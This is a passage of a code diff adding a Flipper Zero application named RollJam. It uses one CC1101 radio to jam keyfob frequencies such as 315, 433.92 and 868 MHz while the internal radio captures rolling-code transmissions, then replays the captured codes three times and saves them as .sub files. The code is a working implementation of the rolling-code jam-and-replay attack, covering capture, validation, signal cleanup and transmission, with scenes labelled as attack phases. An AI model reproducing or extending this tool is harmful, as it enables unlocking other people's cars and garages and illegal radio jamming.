g_cap.valid_count++;
|
||||
g_cap.total_count++;
|
||||
g_cap.continuous_count = 1;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
g_cap.continuous_count++;
|
||||
|
||||
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return;
|
||||
}
|
||||
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
|
||||
if(g_cap.state == CapWaiting) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.continuous_count = 0;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_silence) {
|
||||
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE)
|
||||
target->data[target->size++] = level ? (int16_t)32767 : -32767;
|
||||
g_cap.state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_medium_gap) g_cap.continuous_count = 0;
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
g_cap.total_count++;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
g_cap.valid_count++;
|
||||
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
|
||||
g_cap.state = CapDone;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CapDone:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Capture start/stop
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
|
||||
app->frequency, app->mod_index, app->jam_offset_hz);
|
||||
|
||||
const uint8_t* src_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
|
||||
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
|
||||
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
|
||||
default: src_preset = preset_ook_650_async; break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(src_preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
|
||||
furi_delay_ms(5);
|
||||
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
float rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
g_cap.rssi_baseline = rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
cap_ctx_reset(&g_cap);
|
||||
|
||||
if(!app->signal_first.valid) {
|
||||
g_cap.target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
g_cap.target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal");
|
||||
}
|
||||
|
||||
g_cap.mod_index = app->mod_index;
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED");
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
if(!app->raw_capture_active) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
app->raw_capture_active = false;
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
|
||||
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Validation
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(g_cap.state != CapDone) {
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0)
|
||||
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
|
||||
g_cap.state, g_cap.callback_count,
|
||||
g_cap.valid_count, g_cap.total_count, (int)signal->size);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
|
||||
|
||||
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!rolljam_has_sufficient_variance(signal)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
|
||||
if(abs_val >= MIN_PULSE_US) good++;
|
||||
}
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Signal cleanup
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
size_t out = 0;
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = (val > 0);
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = (prev > 0);
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE)
|
||||
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= (size_t)MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// TX
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
static TxCtx g_tx;
|
||||
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
|
||||
|
||||
const uint8_t* tx_src;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
|
||||
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
|
||||
default: tx_src = preset_ook_tx; break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_src);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
|
||||
furi_hal_subghz_idle();
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t timeout = 0;
|
||||
while(!furi_hal_subghz_is_async_tx_complete()) {
|
||||
furi_delay_ms(5);
|
||||
if(++timeout > 2000) {
|
||||
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
|
||||
break;
|
||||
}
|
||||
}
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
|
||||
tx_repeat, (int)g_tx.index, (int)signal->size);
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Save
|
||||
// ============================================================
|
||||
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "Save: no signal");
|
||||
return;
|
||||
}
|
||||
|
||||
DateTime dt;
|
||||
furi_hal_rtc_get_datetime(&dt);
|
||||
|
||||
FuriString* path = furi_string_alloc_printf(
|
||||
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
|
||||
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
|
||||
|
||||
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
storage_simply_mkdir(storage, "/ext/subghz");
|
||||
File* file = storage_file_alloc(storage);
|
||||
|
||||
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
FuriString* line = furi_string_alloc();
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
size_t i = 0;
|
||||
while(i < signal->size) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++)
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
storage_file_close(file);
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_string_free(path);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Internal CC1101 raw signal capture and transmission.
|
||||
*
|
||||
* Capture: uses narrow RX bandwidth so the offset jamming
|
||||
* from the external CC1101 is filtered out.
|
||||
*
|
||||
* The captured raw data is stored as signed int16 values:
|
||||
* positive = high-level duration (microseconds)
|
||||
* negative = low-level duration (microseconds)
|
||||
*
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
@@ -0,0 +1,21 @@
|
||||
applications_user/rolljam/
|
||||
├── application.fam
|
||||
├── rolljam.png (icon 10x10)
|
||||
├── rolljam.c
|
||||
├── rolljam_icons.h
|
||||
├── scenes/
|
||||
│ ├── rolljam_scene.h
|
||||
│ ├── rolljam_scene_config.h
|
||||
│ ├── rolljam_scene_menu.c
|
||||
│ ├── rolljam_scene_attack_phase1.c
|
||||
│ ├── rolljam_scene_attack_phase2.c
|
||||
│ ├── rolljam_scene_attack_phase3.c
|
||||
│ └── rolljam_scene_result.c
|
||||
├── helpers/
|
||||
│ ├── rolljam_cc1101_ext.h
|
||||
│ ├── rolljam_cc1101_ext.c
|
||||
│ ├── rolljam_receiver.h
|
||||
│ └── rolljam_receiver.c
|
||||
└── views/
|
||||
├── rolljam_attack_view.h
|
||||
└── rolljam_attack_view.c
|
||||
@@ -0,0 +1,232 @@
|
||||
#include "rolljam.h"
|
||||
#include "scenes/rolljam_scene.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
#include "helpers/rolljam_receiver.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
|
||||
// ============================================================
|
||||
// Frequency / modulation tables
|
||||
// ============================================================
|
||||
|
||||
const uint32_t freq_values[] = {
|
||||
300000000,
|
||||
303875000,
|
||||
315000000,
|
||||
318000000,
|
||||
390000000,
|
||||
433075000,
|
||||
433920000,
|
||||
434420000,
|
||||
438900000,
|
||||
868350000,
|
||||
915000000,
|
||||
};
|
||||
|
||||
const char* freq_names[] = {
|
||||
"300.00",
|
||||
"303.87",
|
||||
"315.00",
|
||||
"318.00",
|
||||
"390.00",
|
||||
"433.07",
|
||||
"433.92",
|
||||
"434.42",
|
||||
"438.90",
|
||||
"868.35",
|
||||
"915.00",
|
||||
};
|
||||
|
||||
const char* mod_names[] = {
|
||||
"AM 650",
|
||||
"AM 270",
|
||||
"FM 238",
|
||||
"FM 476",
|
||||
};
|
||||
|
||||
const uint32_t jam_offset_values[] = {
|
||||
300000,
|
||||
500000,
|
||||
700000,
|
||||
1000000,
|
||||
};
|
||||
|
||||
const char* jam_offset_names[] = {
|
||||
"300 kHz",
|
||||
"500 kHz",
|
||||
"700 kHz",
|
||||
"1000 kHz",
|
||||
};
|
||||
|
||||
const char* hw_names[] = {
|
||||
"CC1101",
|
||||
"Flux Cap",
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Scene handlers table (extern declarations in scene header)
|
||||
// ============================================================
|
||||
|
||||
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_enter,
|
||||
rolljam_scene_attack_phase1_on_enter,
|
||||
rolljam_scene_attack_phase2_on_enter,
|
||||
rolljam_scene_attack_phase3_on_enter,
|
||||
rolljam_scene_result_on_enter,
|
||||
};
|
||||
|
||||
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
|
||||
rolljam_scene_menu_on_event,
|
||||
rolljam_scene_attack_phase1_on_event,
|
||||
rolljam_scene_attack_phase2_on_event,
|
||||
rolljam_scene_attack_phase3_on_event,
|
||||
rolljam_scene_result_on_event,
|
||||
};
|
||||
|
||||
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_exit,
|
||||
rolljam_scene_attack_phase1_on_exit,
|
||||
rolljam_scene_attack_phase2_on_exit,
|
||||
rolljam_scene_attack_phase3_on_exit,
|
||||
rolljam_scene_result_on_exit,
|
||||
};
|
||||
|
||||
const SceneManagerHandlers rolljam_scene_handlers = {
|
||||
.on_enter_handlers = rolljam_scene_on_enter_handlers,
|
||||
.on_event_handlers = rolljam_scene_on_event_handlers,
|
||||
.on_exit_handlers = rolljam_scene_on_exit_handlers,
|
||||
.scene_num = RollJamSceneCount,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Navigation callbacks
|
||||
// ============================================================
|
||||
|
||||
static bool rolljam_navigation_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App alloc
|
||||
// ============================================================
|
||||
|
||||
static RollJamApp* rolljam_app_alloc(void) {
|
||||
RollJamApp* app = malloc(sizeof(RollJamApp));
|
||||
memset(app, 0, sizeof(RollJamApp));
|
||||
|
||||
app->freq_index = FreqIndex_433_92;
|
||||
app->frequency = freq_values[FreqIndex_433_92];
|
||||
app->mod_index = ModIndex_AM650;
|
||||
app->jam_offset_index = JamOffIndex_700k;
|
||||
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
|
||||
app->hw_index = HwIndex_CC1101;
|
||||
|
||||
// Services
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
// Scene manager
|
||||
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
|
||||
|
||||
// View dispatcher
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
app->view_dispatcher, rolljam_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
app->view_dispatcher, rolljam_navigation_callback);
|
||||
view_dispatcher_attach_to_gui(
|
||||
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
// Variable item list
|
||||
app->var_item_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// Widget
|
||||
app->widget = widget_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewWidget,
|
||||
widget_get_view(app->widget));
|
||||
|
||||
// Dialog
|
||||
app->dialog_ex = dialog_ex_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewDialogEx,
|
||||
dialog_ex_get_view(app->dialog_ex));
|
||||
|
||||
// Popup
|
||||
app->popup = popup_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewPopup,
|
||||
popup_get_view(app->popup));
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App free
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
if(app->raw_capture_active) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
|
||||
widget_free(app->widget);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
|
||||
dialog_ex_free(app->dialog_ex);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Entry point
|
||||
// ============================================================
|
||||
|
||||
int32_t rolljam_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
RollJamApp* app = rolljam_app_alloc();
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Started ===");
|
||||
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
|
||||
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
rolljam_app_free(app);
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/popup.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <storage/storage.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
// Frequencies
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
FreqIndex_300_00 = 0,
|
||||
FreqIndex_303_87,
|
||||
FreqIndex_315_00,
|
||||
FreqIndex_318_00,
|
||||
FreqIndex_390_00,
|
||||
FreqIndex_433_07,
|
||||
FreqIndex_433_92,
|
||||
FreqIndex_434_42,
|
||||
FreqIndex_438_90,
|
||||
FreqIndex_868_35,
|
||||
FreqIndex_915_00,
|
||||
FreqIndex_COUNT,
|
||||
} FreqIndex;
|
||||
|
||||
extern const uint32_t freq_values[];
|
||||
extern const char* freq_names[];
|
||||
|
||||
// ============================================================
|
||||
// Modulations
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
ModIndex_AM650 = 0,
|
||||
ModIndex_AM270,
|
||||
ModIndex_FM238,
|
||||
ModIndex_FM476,
|
||||
ModIndex_COUNT,
|
||||
} ModIndex;
|
||||
|
||||
extern const char* mod_names[];
|
||||
|
||||
// ============================================================
|
||||
// Jam offsets
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
JamOffIndex_300k = 0,
|
||||
JamOffIndex_500k,
|
||||
JamOffIndex_700k,
|
||||
JamOffIndex_1000k,
|
||||
JamOffIndex_COUNT,
|
||||
} JamOffIndex;
|
||||
|
||||
extern const uint32_t jam_offset_values[];
|
||||
extern const char* jam_offset_names[];
|
||||
|
||||
// ============================================================
|
||||
// Hardware type
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
HwIndex_CC1101 = 0,
|
||||
HwIndex_FluxCapacitor,
|
||||
HwIndex_COUNT,
|
||||
} HwIndex;
|
||||
|
||||
extern const char* hw_names[];
|
||||
|
||||
// ============================================================
|
||||
// Scenes
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamSceneMenu,
|
||||
RollJamSceneAttackPhase1,
|
||||
RollJamSceneAttackPhase2,
|
||||
RollJamSceneAttackPhase3,
|
||||
RollJamSceneResult,
|
||||
RollJamSceneCount,
|
||||
} RollJamScene;
|
||||
|
||||
// ============================================================
|
||||
// Views
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamViewVarItemList,
|
||||
RollJamViewWidget,
|
||||
RollJamViewDialogEx,
|
||||
RollJamViewPopup,
|
||||
} RollJamView;
|
||||
|
||||
// ============================================================
|
||||
// Custom events
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
RollJamEventStartAttack = 100,
|
||||
RollJamEventSignalCaptured,
|
||||
RollJamEventPhase3Done,
|
||||
RollJamEventReplayNow,
|
||||
RollJamEventSaveSignal,
|
||||
RollJamEventBack,
|
||||
} RollJamEvent;
|
||||
|
||||
// ============================================================
|
||||
// Raw signal container
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
int16_t data[RAW_SIGNAL_MAX_SIZE];
|
||||
size_t size;
|
||||
bool valid;
|
||||
} RawSignal;
|
||||
|
||||
// ============================================================
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
HwIndex hw_index;
|
||||
uint32_t frequency;
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
|
||||
} RollJamApp;
|
||||
|
After Width: | Height: | Size: 220 B |
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
// Icon assets are auto-generated by the build system
|
||||
// from the images/ folder. If no custom icons are needed,
|
||||
// this file can remain minimal.
|
||||
|
||||
// If you place .png files in an images/ folder,
|
||||
// the build system generates icon references automatically.
|
||||
// Access them via &I_iconname
|
||||
@@ -0,0 +1,27 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
// Scene on_enter
|
||||
void rolljam_scene_menu_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context);
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context);
|
||||
void rolljam_scene_result_on_enter(void* context);
|
||||
|
||||
// Scene on_event
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
|
||||
|
||||
// Scene on_exit
|
||||
void rolljam_scene_menu_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context);
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context);
|
||||
void rolljam_scene_result_on_exit(void* context);
|
||||
|
||||
// Scene manager handlers (defined in rolljam.c)
|
||||
extern const SceneManagerHandlers rolljam_scene_handlers;
|
||||
